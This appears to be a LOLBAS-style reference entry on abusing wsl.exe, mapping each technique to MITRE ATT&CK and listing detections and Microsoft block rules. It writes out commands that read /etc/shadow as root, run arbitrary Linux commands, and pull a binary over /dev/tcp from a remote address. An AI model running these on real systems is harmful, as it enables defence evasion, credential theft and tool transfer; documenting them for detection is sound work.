



.. /Wsl.exe

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Execute Download

Windows subsystem for Linux executable

Paths:

C:\Windows\System32\wsl.exe

Resources:

- <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- https://twitter.com/nas_bench/status/1535431474429808642

Acknowledgements:

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Detections:

- Sigma: [proc_creation_win_wsl_lolbin_execution.yml](#)
- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- IOC: Child process from wsl.exe

Execute

- Executes calc.exe from wsl.exe

```
wsl.exe -e /mnt/c/Windows/System32/calc.exe
```

Use case: Performs execution of specified file, can be used to execute arbitrary Linux commands.
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: [T1202: Indirect Command Execution](#)

- Cats /etc/shadow file as root

```
wsl.exe -u root -e cat /etc/shadow
```

Use case: Performs execution of arbitrary Linux commands as root without need for password.
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: [T1202: Indirect Command Execution](#)

- Executes Linux command (for example via bash) as the default user (unless stated otherwise using ``-u <username>``) on the default WSL distro (unless stated otherwise using ``-d <distro name>``)

```
wsl.exe --exec bash -c "<command>"
```

Use case: Performs execution of arbitrary Linux commands.
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: [T1202: Indirect Command Execution](#)

Download

Downloads file from 192.168.1.10

```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```

Use case: Download file
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: [T1105: Ingress Tool Transfer](#)